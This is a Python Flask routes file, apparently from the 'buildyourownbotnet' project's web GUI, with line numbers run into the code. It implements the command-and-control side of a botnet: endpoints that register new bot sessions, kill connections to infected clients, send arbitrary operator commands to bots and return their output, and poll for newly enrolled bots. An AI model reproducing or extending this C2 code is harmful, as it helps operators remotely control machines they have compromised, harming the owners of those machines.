Path: blob/master/web-gui/buildyourownbotnet/api/session/routes.py
1292 views
import json1from flask import current_app, Blueprint, request, redirect, url_for, flash, jsonify2from flask_login import login_user, logout_user, current_user, login_required3from buildyourownbotnet import c24from buildyourownbotnet.core.dao import session_dao, task_dao5from buildyourownbotnet.models import db, Session67# Blueprint8session = Blueprint('session', __name__)910@session.route("/api/session/new", methods=["POST"])11def session_new():12"""Add session metadata to database."""13if not request.json:14return redirect(url_for('main.sessions'))15data = dict(request.json)16session_metadata = session_dao.handle_session(data)17return jsonify(session_metadata)1819@session.route("/api/session/remove", methods=["POST"])20@login_required21def session_remove():22"""End an active session."""23session_uid = request.form.get('session_uid')2425if not session_uid:26flash('Invalid session UID', 'danger')27return redirect(url_for('main.sessions'))2829# kill connection to C230owner_sessions = c2.sessions.get(current_user.username, {})3132if session_uid and session_uid in owner_sessions:33session_thread = owner_sessions[session_uid]34try:35session_thread.kill()36except Exception as e:37return "Error ending session - please try again."3839# remove session from database40s = session_dao.delete_session(session_uid)41return "Session {} removed.".format(session_uid)424344@session.route("/api/session/cmd", methods=["POST"])45@login_required46def session_cmd():47"""Send commands to clients and return the response."""48session_uid = request.form.get('session_uid')4950# validate session id is valid integer51if not session_uid:52flash("Invalid bot UID: " + str(session_uid))53return redirect(url_for('main.sessions'))5455command = request.form.get('cmd')5657# get user sessions58owner_sessions = c2.sessions.get(current_user.username, {})5960if session_uid in owner_sessions:61session_thread = owner_sessions[session_uid]6263# store issued task in database64task = task_dao.handle_task({'task': command, 'session': session_thread.info.get('uid')})6566# send task and get response67session_thread.send_task(task)68response = session_thread.recv_task()6970# update task record with result in database71result = task_dao.handle_task(response)72return str(result['result']).encode()7374else:75return "Bot " + str(session_uid) + " is offline or does not exist."767778@session.route("/api/session/poll", methods=["GET"])79@login_required80def session_poll():81"""Return list of sessions (JSON)."""82new_sessions = []83for s in session_dao.get_user_sessions_new(current_user.id):84new_sessions.append(s.serialize())85s.new = False86db.session.commit()87return jsonify(new_sessions)8889